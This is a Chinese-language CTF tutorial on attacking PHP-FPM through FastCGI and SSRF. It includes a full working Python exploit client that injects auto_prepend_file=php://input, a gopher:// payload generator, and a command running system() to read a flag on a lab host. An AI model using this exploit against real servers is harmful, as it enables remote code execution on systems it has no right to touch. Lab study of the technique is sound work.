前言
如果需要理解fastcgi攻击,就需要先了解一些基础知识,明白fastcgi到底是什么,参考文章http://49.232.222.195/index.php/archives/193/,当然,根本不够,还需要一些知识,将会在这里讲解,其实也是抄的,内容来自博主https://www.freebuf.com/author/ATL%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F
知识
还是举那个例子
用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,是/var/www/html/index.php。
php-fpm攻击实现原理
PHP-FPM默认监听的端口是9000,一般情况会只会接受127.0.0.1也就是本地的请求。但是如果配置不当让这个端口暴露在公网之中,我们就可以按照FastCGI的规则,自己构造数据包与FPM通信。当然如果没有配置错误我们就需要通过SSRF来利用服务器做跳板来攻击了。
这里就就牵扯到了FPM接收数据包中的一个值了:SCRIPT_FILENAME,这个值指向的就是要执行的文件,只要我们自己构造这个值,就可以执行任意PHP文件。
在FPM某个版本前我们可以指定任意后缀的文件,比如:/etc/passwd。但后来,fpm的默认配置中增加了一个选项 security.limit_extensions ,其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回 Access denied. 。所以我们只能执行服务器上现有的PHP文件。这样危害并不大,如果我们需要达到任意代码执行,还需要了解一些东西
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么,我们设置 auto_prepend_file 为 php://input ,(需要注意同样也要配置远程文件包含选项 allow_url_include )那么就等于在执行任何php文件前都要包含一遍POST的内容。那么我们只要将要执行的代码放在body中,就可以执行任意的代码了。
那么我们要怎么设置我们想要配置的值呢,这又涉及到发给PHP-FPM数据包中的另两个值,PHP_VALUE 和 PHP_ADMIN_VALUE 。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项,PHP_ADMIN_VALUE 可以设置所有选项。
所以我们配置 PHP_VALUE 为 auto_prepend_file = php://input , PHP_ADMIN_VALUE 为 allow_url_include = On 然后将我们需要执行的代码放在Body中,即可执行任意代码。
例题
可以自己搭环境文章链接:https://bbs.ichunqiu.com/thread-58455-1-1.html
或者
CTFHub-SSRF-FastCGI实践
利用脚本
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
理解脚本的作用帮助你更好理解攻击
该脚本的作用是通过与PHP-FPM服务器建立连接,发送HTTP请求并获取响应。它可以发送POST请求到指定的PHP文件,并在请求中包含自定义的PHP代码
先在自己虚拟机上监听9000端口,将内容写到1.txt
然后运行我们的exp脚本:
命令:python [脚本名] -c [要执行的代码] -p [端口号] [ip] [要执行的php文件]
将文件复制到和脚本的同级目录
利用gopher
import urllib.parse
from urllib.parse import quote, unquote, urlencode
file= open('1.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))
直接去打
我们可以看到虽然页面出现了一定的乱码,但是我们还是可以看到成功执行了命令,并展示出了根目录下的文件,我们可以观察到其中就有 flag_052c3b0c46ee677f6f63b629f7f314a1 这个文件,我们在更改执行的命令在来一遍。
监听端口,然后执行exp,不过这次的命令是:
python Attack.py -c "<?php system('cat /flag_052c3b0c46ee677f6f63b629f7f314a1');?>" -p 9000 192.168.48.129 /var/www/html/index.php
再次用gopher得到
或者我们可以利用工具,方便但是不能帮助你理解原理
python gopherus.py --exploit fastcgi
/var/www/html/index.php #这里输入的是一个已知存在的php文件
whoami #需要执行的命令